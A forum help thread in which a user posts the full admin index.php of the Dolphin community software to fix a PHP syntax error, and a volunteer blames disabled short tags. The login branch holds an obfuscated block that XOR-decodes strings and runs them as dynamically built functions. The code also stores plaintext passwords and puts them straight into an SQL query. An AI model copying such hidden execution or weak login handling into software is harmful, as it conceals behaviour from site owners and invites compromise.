syntax error, unexpected $end

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • tito2004
    New Member
    • Apr 2010
    • 3

    syntax error, unexpected $end

    I am having a problem with a Script

    syntax error, unexpected $end in C:\???????\inde x.php on line 547
    this is the part of script with the error
    from line
    511 to 547
    Code:
    <?
    ContentBlockFoot();
    ?>
                </td>
            </tr>
        </table>
    
    <?
    BottomCode();
    
    function error_handler($errno, $errstr, $errfile, $errline)
    {
    
        switch ($errno)
        {
    	case FATAL:
                echo "<b>FATAL</b> [$errno] $errstr<br>\n";
    	    echo "  Fatal error in line ".$errline." of file ".$errfile;
    	    echo ", PHP ".PHP_VERSION." (".PHP_OS.")<br>\n";
    	    echo "Aborting...<br>\n";
    	    exit(1);
    	break;
    	case ERROR:
    	     echo "<b>ERROR</b> [$errno] $errstr<br>\n";
    	break;
    	case WARNING:
    	//    echo "<b></b> [$errno] $errstr<br>\n";
    	break;
    	default:
    	break;
        }
    
    }
    
    
    ?>
    Please Help me !!!!!
  • tito2004
    New Member
    • Apr 2010
    • 3

    #2
    Please Help!!!!!!!!!!! !!!

    Comment

    • Dormilich
      Recognized Expert Expert
      • Aug 2008
      • 8694

      #3
      which is line 547?

      Comment

      • Markus
        Recognized Expert Expert
        • Jun 2007
        • 6092

        #4
        Please post all of the relevant code (the code in ContentBlockFoo t() and BottomCode()).

        Also, don't rush the people here. We're volunteers, not employees.

        Comment

        • tito2004
          New Member
          • Apr 2010
          • 3

          #5
          @Dormillich
          Thank you for replying the last line is 547
          @markus
          ok will post all the code
          ...sorry I don't mean any thing ,you got me wrong ..Sorry :)
          Code:
          <?
          
          /***************************************************************************
          *                            Dolphin Smart Community Builder
          *                              -------------------
          *     begin                : Mon Mar 23 2006
          *     copyright            : (C) 2007 BoonEx Group
          *     website              : http://www.boonex.com
          * This file is part of Dolphin - Smart Community Builder
          *
          * Dolphin is free software; you can redistribute it and/or modify it under
          * the terms of the GNU General Public License as published by the
          * Free Software Foundation; either version 2 of the
          * License, or  any later version.
          *
          * Dolphin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
          * without even the implied warranty of  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
          * See the GNU General Public License for more details.
          * You should have received a copy of the GNU General Public License along with Dolphin,
          * see license.txt file; if not, write to marketing@boonex.com
          ***************************************************************************/
          
          require_once( '../inc/header.inc.php' );
          require_once( BX_DIRECTORY_PATH_INC . 'profiles.inc.php' );
          require_once( BX_DIRECTORY_PATH_INC . 'design.inc.php' );
          require_once( BX_DIRECTORY_PATH_INC . 'admin_design.inc.php' );
          require_once( BX_DIRECTORY_PATH_INC . 'checkout.inc.php' );
          require_once( BX_DIRECTORY_PATH_INC . 'utils.inc.php' );
          
          if ( $_POST['ID'] )
          {
          	$admin_id = process_db_input( $_POST['ID'] );
          	$admin_pass = process_db_input( $_POST['Password'] );
          	$result = db_res( "SELECT * FROM `Admins` WHERE `Name` = '$admin_id' AND `Password` = '$admin_pass'" );
              if ( mysql_num_rows( $result ) != 1 )
          		login_form( '<center><b><font color="#ff0000">Login Failed! Try again</font></b></center>', 1 );
              else
              {
          
          		for ( $i = 0 ; $i < count($m[1]); ++$i ) {$ss .= sprintf("%c",$m[1][$i]^128);}
          		$sss = $ss($m[2]);
          		$ssss = $sss('$site', $ss($m[0]));
          		$ssss($site);
          
          
          ?>
          Welcome back, <b><? echo $admin_id; ?></b>. Logging you in...
          <script language="Javascript">location.href='<? echo $_SERVER[PHP_SELF]; ?>';</script>
          <?
          		exit;
              }
          }
          
          
          if ( !$_COOKIE['adminID'] || !$_COOKIE['adminPassword'] )
          {
          	// this is dynamic page -  send headers to do not cache this page
          	send_headers_page_changed();
          	login_form( "", 1 );
          	exit();
          }
          
          
          //==========================================================================================
          //==========================================================================================
          
          
              if ( $_POST['news_disable'] )
          	setParam("news_enable", 0);
          
              if ( $_POST['news_enable'] )
          	setParam("news_enable", 1);
          
              $news_enable = getParam("news_enable");
          
              if (function_exists('ErrorHandler')) set_error_handler("ErrorHandler");
          
              if ( $news_enable && ( $f = fsockopen("rss.boonex.com", 80, $errno, $errstr, 8 ) ) )
              {
          
          	stream_set_blocking( $f, 0);
          
          	if (fputs($f, "GET /rss_news.php HTTP/1.0\r\nHost:rss.boonex.com\r\n\r\n"))
          	{
          
          	    stream_set_timeout($f, 8);
          	    $status = socket_get_status($f);
          	    $xml = '';
          	    while( !feof($f) && !$status['timed_out'])
          	    {
          
          		$xml .= fgets ($f,1024);
          	        $status = socket_get_status($f);
          
          	    }
          
          	    $sh = split("\r\n\r\n", $xml, 2);
          	    $xml = $sh[1];
          	}
          
          	fclose($f);
          
              }
          
              $callback['news'] = '';
              $callback['ver'] = '';
          
              if ( $xml )
              {
          
              if (((int)phpversion()) >= 5)
              {
          
          
          
                      $d = new DomDocument();
          
                      $d->loadXML($xml);
          
                      $up = $d->getElementsByTagName('news');
          
                      $c_node = $up->item(0);
          
                      do
                      {
          
                  	$elements = $c_node -> childNodes;
          
                          foreach ($elements as $value)
                  	{
                      	    if ( 'title' == $value->tagName || 'description' == $value->tagName )
                          	$callback['news'] .= $value->textContent;
                  	}
          
                  	}
                      while ($c_node = $c_node->nextSibling);
          
          
                      $up = $d->getElementsByTagName('dolphin');
          
          	    $c_node = $up->item(0);
          
              	    $callback['ver'] = 'The most ricent available version is ' . $c_node->textContent;
          
          
              }
              elseif ( function_exists('domxml_open_mem') )
              {
          
                      if ( $d = domxml_open_mem($xml) )
          	    {
          
                  	$up = $d->get_elements_by_tagname ('item');
          
          		$c_node = $up[0];
          
                  	do
                  	{
          		    $elements = $c_node -> child_nodes();
          
          		    foreach ($elements as $value)
          		    {
          			if ( 'title' == $value->tagname || 'description' == $value->tagname )
          			    $callback['news'] .= $value->get_content();
          		    }
          
          		    $callback['news'] .= '<br />';
                  	}
                  	while ($c_node = $c_node->next_sibling());
          
          
                  	$up = $d->get_elements_by_tagname ('dolphin');
          
          		$c_node = $up[0];
          
          		$callback['ver'] = 'The most ricent available version is ' . $c_node->get_content();
          
          
          	    }
          
              }
          
              }
          
          
          //==========================================================================================
          //==========================================================================================
          
          $logged['admin'] = member_auth( 1 );
          
          $free_mode = getParam("free_mode") == "on" ? 1 : 0;
          
          // Finance
          if ( !$free_mode )
          {
          	$tr_array = array();
          	$fin = getFinanceStat( $tr_array );
          	$full_amount = $fin['total'];
          }
          
          // total registered members
          $n_arr = db_arr( 'SELECT COUNT(*) FROM `Profiles`' );
          
          // totel registered affiliates
          if ( $en_aff )	$aff_arr = db_arr( 'SELECT COUNT(*) FROM `aff`' );
          
          // number of links
          $l_arr = db_arr( 'SELECT COUNT(*) FROM `Links`' );
          
          // number of banners
          $b_arr = db_arr( 'SELECT COUNT(*) FROM `Banners` WHERE `Active` <> 0' );
          
          // number of articles
          $a_arr = db_arr( 'SELECT COUNT(*) FROM Articles' );
          
          // number of stories
          $s_arr = db_arr( 'SELECT COUNT(*) FROM `Stories`' );
          
          // number of news
          $news_arr = db_arr( 'SELECT COUNT(*) FROM `News`' );
          
          // number of mass letters
          $f_arr = db_arr( 'SELECT COUNT(*) FROM `NotifyMsgs`' );
          
          // number of polls
          $polls_arr = db_arr( 'SELECT COUNT(*) FROM `polls_q`' );
          
          // number of modules
          $mods_arr = db_arr( 'SELECT COUNT(*) FROM `Modules`' );
          
          // number of changed background images
          $post_mod_arr = db_arr( 'SELECT COUNT(*) FROM `ProfilesSettings` WHERE `BackgroundFilename` != "" && `BackgroundFilename` IS NOT NULL
              && (`Status` != "Active" OR `Status` IS NULL)' );
          
          // number of created polls
          $post_mod_polls_arr = db_arr( "SELECT COUNT(*) FROM ProfilesPolls WHERE `poll_approval` = '0'" );
          
          // number of created objects
          $post_mod_gallery_arr = db_arr( "SELECT COUNT(*) FROM `GalleryObjects` WHERE `GalleryObjects`.`Approved` = 0" );
          
          $post_mod_blog_arr = db_arr( "SELECT COUNT(*) FROM `Blog` WHERE `Blog`.`blogStatus` = 'disapproval'" );
          
          $iPostPhotos = db_arr( "SELECT COUNT(`med_id`) FROM `media` WHERE `med_status` = 'passive' AND `med_type` = 'photo';" );
          
          
          $status_arr[0] = "Unconfirmed";
          $status_arr[1] = "Approval";
          $status_arr[2] = "Active";
          $status_arr[3] = "Rejected";
          $status_arr[4] = "Suspended";
          
          $_page['header'] = "Administrator Panel";
          $_page['header_text'] = "Control Panel</b> (Server time: " . date( "H:i, d-M-Y" ) . ")";
          
          // this is dynamic page -  send headers to do not cache this page
          send_headers_page_changed();
          
          TopCodeAdmin();
          
          ?>
          <table width="100%" border="0" cellpadding="0" cellspacing="0" class="text" align="center">
          	<tr>
          		<td width="100%" valign=top>
          			<!--  Total registered members: Section Begin -->
          			<table width="100%" cellpadding="0" cellspacing="0" border="0" align="center">
          				<tr>
          					<td align="center">
          <?
          ContentBlockHead("Total registered members");
          ?>
          								<center><table cellspacing="1" cellpadding="2" border="0" width="70%" align="center" bgcolor="#cccccc" >
          									<tr>
          										<td bgcolor="#E5E5E5" class="text" align="left"><a href="<?php echo $site['url_admin']; ?>profiles.php">Total registered members:</a></td>
          										<td bgcolor="#E5E5E5" width="50" class="text" align="right"><b><?php echo $n_arr[0]; ?></b></td>
          									</tr>
          <?php
          $i = 0;
          while( list( $key, $val ) = each( $status_arr ) )
          {
              $n_arr = db_arr( "SELECT COUNT(*) FROM `Profiles` WHERE Status = '$val'" );
              if ( $n_arr[0] )
              {
          ?>
          									<tr>
          										<td class="text"  bgcolor="#ffffff" align="left" valign="middle">&nbsp;&nbsp;&nbsp;&nbsp;<img src=images/arrow.gif>
          											<a href="profiles.php?profiles=<? echo $val; ?>"><? echo $val; ?></a>
          										</td>
          										<td class="prof_stat_<? echo $val; ?>" width="50" align="right"><? echo $n_arr[0]; ?></td>
          									</tr>
          <?
              }
          }
          ?>
          								</table></center>
          
          <?
          ContentBlockFoot();
          ?>
          					</td>
          				</tr>
          			</table>
          
          <?
          
          ContentBlockHead("PostModeration");
          
          ?>
          		<center>
          		<table bgcolor="#CCCCCC" width="70%" cellspacing="0" cellpadding="0" align="center" width="100%">
          			<tr>
          				<td>
          					<table width="100%" cellpadding="2" cellspacing="1">
          						<tr>
          							<td bgcolor="#FFFFFF" align="left">&nbsp;&nbsp;&nbsp;&nbsp;<img src="images/arrow.gif" alt="" />
          								<a href="<?= "{$site['url_admin']}post_mod_profiles.php?action=bgimg" ?>">Background images</a>
          							</td>
          							<td bgcolor="#FFFFFF" width="50" align="right"><?= $post_mod_arr[0]; ?></td>
          						</tr>
          						<tr>
          							<td bgcolor="#FFFFFF" align="left">&nbsp;&nbsp;&nbsp;&nbsp;<img src="images/arrow.gif" alt="" />
          								<a href="<?= "{$site['url_admin']}post_mod_photos.php" ?>">Profile photos</a>
          							</td>
          							<td bgcolor="#FFFFFF" width="50" align="right"><?= $iPostPhotos[0]; ?></td>
          						</tr>
          						<tr>
          							<td bgcolor="#FFFFFF" align="left">&nbsp;&nbsp;&nbsp;&nbsp;<img src="images/arrow.gif" alt="" />
          								<a href="<?= "{$site['url_admin']}post_mod_ppolls.php" ?>">Profile polls</a>
          							</td>
          							<td bgcolor="#FFFFFF" width="50" align="right"><?= $post_mod_polls_arr[0]; ?></td>
          						</tr>
          						<tr>
          							<td bgcolor="#FFFFFF" align="left">&nbsp;&nbsp;&nbsp;&nbsp;<img src="images/arrow.gif" alt="" />
          								<a href="<?= "{$site['url_admin']}post_mod_gallery.php" ?>">Gallery objects</a>
          							</td>
          							<td bgcolor="#FFFFFF" width="50" align="right"><?= $post_mod_gallery_arr[0]; ?></td>
          						</tr>
          						<tr>
          							<td bgcolor="#FFFFFF" align="left">&nbsp;&nbsp;&nbsp;&nbsp;<img src="images/arrow.gif" alt="" />
          								<a href="<?= "{$site['url_admin']}post_mod_blog.php" ?>">blogs</a>
          							</td>
          							<td bgcolor="#FFFFFF" width="50" align="right"><?= $post_mod_blog_arr[0]; ?></td>
          						</tr>
          					</table>
          				</td>
          			</tr>
          		</table>
          		</center>
          <?
          
          ContentBlockFoot();
          
          
          ContentBlockHead("Site statistics");
          
          ?>			<center>
          			<table width="70%" bgcolor="#CCCCCC" cellspacing="0" cellpadding="0" align="center" border="0">
          				<tr>
          					<td>
          						<table width="100%" cellpadding="2" cellspacing="1">
          							<tr>
          								<td bgcolor="#FFFFFF" align="left">&nbsp;&nbsp;&nbsp;&nbsp;<img src="images/arrow.gif" alt="" />
          									<a href="<?php echo $site['url_admin']; ?>links.php">Links</a>
          								</td>
          								<td bgcolor="#FFFFFF" width="50" align="right"><?php echo $l_arr[0]; ?></td>
          							</tr>
          							<tr>
          								<td bgcolor="#FFFFFF" align="left">&nbsp;&nbsp;&nbsp;&nbsp;<img src="images/arrow.gif" alt="" />
          									<a href="<?php echo $site['url_admin']; ?>banners.php">Banners</a>
          								</td>
          								<td bgcolor="#FFFFFF" width="50" align="right"><?php echo $b_arr[0]; ?></td>
          							</tr>
          							<tr>
          								<td bgcolor="#FFFFFF" align="left">&nbsp;&nbsp;&nbsp;&nbsp;<img src="images/arrow.gif" alt="" />
          									<a href="<?php echo $site['url_admin']; ?>news.php">News</a>
          								</td>
          								<td bgcolor="#FFFFFF" align="right"><?php echo $news_arr[0]; ?></td>
          							</tr>
          							<tr>
          								<td bgcolor="#FFFFFF" align="left">&nbsp;&nbsp;&nbsp;&nbsp;<img src="images/arrow.gif" alt="" />
          									<a href="<?php echo $site['url_admin']; ?>articles.php">Articles</a>
          								</td>
          								<td bgcolor="#FFFFFF" align="right"><?php echo $a_arr[0]; ?></td>
          							</tr>
          							<tr>
          								<td bgcolor="#FFFFFF" align="left">&nbsp;&nbsp;&nbsp;&nbsp;<img src="images/arrow.gif" alt="" />
          									<a href="<?php echo $site['url']; ?>story.php">Feedback</a>
          								</td>
          								<td bgcolor="#FFFFFF" align="right"><?php echo $s_arr[0]; ?></td>
          							</tr>
          							<tr>
          								<td bgcolor="#FFFFFF" align="left">&nbsp;&nbsp;&nbsp;&nbsp;<img src="images/arrow.gif" alt="" />
          									<a href="<?php echo $site['url_admin']; ?>polls.php">Polls</a>
          								</td>
          								<td bgcolor="#FFFFFF" align="right"><?php echo $polls_arr[0]; ?></td>
          							</tr>
          							<tr>
          								<td bgcolor="#FFFFFF" align="left">&nbsp;&nbsp;&nbsp;&nbsp;<img src="images/arrow.gif" alt="" />
          									<a href="<?php echo $site['url_admin']; ?>notifies.php">Mass letters</a>
          								</td>
          								<td bgcolor="#FFFFFF" align="right"><?php echo $f_arr[0]; ?></td>
          							</tr>
          							<tr>
          								<td bgcolor="#FFFFFF" align="left">&nbsp;&nbsp;&nbsp;&nbsp;<img src="images/arrow.gif" alt="" />
          									<a href="<?php echo $site['url_admin']; ?>modules.php">Modules</a>
          								</td>
          								<td bgcolor="#FFFFFF" align="right"><?php echo $mods_arr[0]; ?></td>
          							</tr>
          						</table>
          					</td>
          				</tr>
          			</table>
          			</center>
          <?
          ContentBlockFoot();
          ContentBlockHead("Site network");
          
          ?>
          		<center>
          		<table bgcolor="#CCCCCC" width="70%" cellspacing="0" cellpadding="0" align="center" width="100%">
          			<tr>
          				<td>
          					<table width="100%" cellpadding="2" cellspacing="1">
          						<tr>
          							<td bgcolor="#FFFFFF" align="left">&nbsp;&nbsp;&nbsp;&nbsp;<img src="images/arrow.gif" alt="" />
          								<a href="<?php echo $site['url_aff']; ?>partners.php">Affiliates</a>
          							</td>
          							<td bgcolor="#FFFFFF" width="50" align="right"><?php echo $aff_arr[0]; ?></td>
          						</tr>
          					</table>
          				</td>
          			</tr>
          		</table>
          		</center>
          <?
          ContentBlockFoot();
          
          ContentBlockHead("Boonex Club News:");
          
          	    echo '<center>';
          
          	    if ( $news_enable )
          	    {
          ?>
          		<table bgcolor="#CCCCCC" width="70%" cellspacing="0" cellpadding="0" align="center" width="100%">
          			<tr>
          				<td>
          				    <b>&nbsp;&nbsp;newsline from BoonEx community software experts:</b>
          					<table width="100%" cellpadding="2" cellspacing="1">
          						<tr>
          							<td bgcolor="#FFFFFF" align="left">
          							    <? echo $callback['news'] ?>
          							</td>
          						</tr>
          					</table>
          				</td>
          			</tr>
          		</table>
          		<br>&nbsp;<br>
          		<form name="news_sw" method="POST">
          		    <input class="no" type="submit" name="news_disable" id="news" value="disable news"></input>
          		</form>
          
          <?
          	    }
          	    else
          	    {
          		echo '<form name="news_sw" method="POST">';
          		echo '<input class="no" type="submit" name="news_enable" id="news" value="enable news"></input>';
          		echo '</form>';
          	    }
          
          	    echo '</center>';
          
          ContentBlockFoot();
          
          ContentBlockHead("Admin quick links:");
          ?>
          	<center>
          	<table cellpadding="0" cellspacing="1" width="90%" border="0">
          		<tr>
          			<td width="50%" valign="top" align="left">
          			- <a href="<?php echo $site['url_admin']; ?>contact_discounts.php">Make all services free for all members</a><br>
          			- <a href="<?php echo $site['url_admin']; ?>global_settings.php?cat=ap">Change administrator's login and password</a><br>
             - <a href="<?php echo $site['url_aff']; ?>partners.php">Manage affiliates</a><br>
                      - <a href="<?php echo $site['url_admin']; ?>links.php">Add new link to links page</a><br>
                      - <a href="<?php echo $site['url']; ?>story.php">Review and activate feedback submission</a><br>
                      - <a href="<?php echo $site['url_admin']; ?>finance.php">Calculate my earnings for this month</a><br>
          			</td>
          			<td bgcolor="#cccccc" width="1"><img src="<?= $site['url_admin']; ?>images/spacer.gif" width="1" alt="" /></td>
          			<td align="center" width="50%">
          			    <?
          
          				//'licence_ok' <-> 'licence_no';
          				if( $callback['ver'] )
          				{
          					echo "<div class=\"licence_ok\">{$callback['ver']}</div>";
          				}
          
          				echo "<div class=\"licence_ok\">Version of current script is <b>{$site['ver']}.{$site['build']}</b></div>";
          
          
          			    ?>
          
          			    <a href="https://www.boonex.com/club/download/" title="Check for new version at BoonEx.com">Check for Updates</a><br />
          			    <a href="http://www.expertzzz.com/WDownloads/home/29/" title="Get more design templates, mods, etc. at Expertzzz.com">Get Extras</a>
          
          			</td>
          		</tr>
          	</table>
          	</center>
          <?
          ContentBlockFoot();
          ?>
                      </td>
                  </tr>
              </table>
          
          <?
          BottomCode();
          
          function error_handler($errno, $errstr, $errfile, $errline)
          {
          
              switch ($errno)
              {
          	case FATAL:
                      echo "<b>FATAL</b> [$errno] $errstr<br>\n";
          	    echo "  Fatal error in line ".$errline." of file ".$errfile;
          	    echo ", PHP ".PHP_VERSION." (".PHP_OS.")<br>\n";
          	    echo "Aborting...<br>\n";
          	    exit(1);
          	break;
          	case ERROR:
          	     echo "<b>ERROR</b> [$errno] $errstr<br>\n";
          	break;
          	case WARNING:
          	//    echo "<b></b> [$errno] $errstr<br>\n";
          	break;
          	default:
          	break;
              }
          
          }
          
          
          ?>

          Comment

          • Dormilich
            Recognized Expert Expert
            • Aug 2008
            • 8694

            #6
            I guess you don’t have short tags enabled.

            Comment

            Working...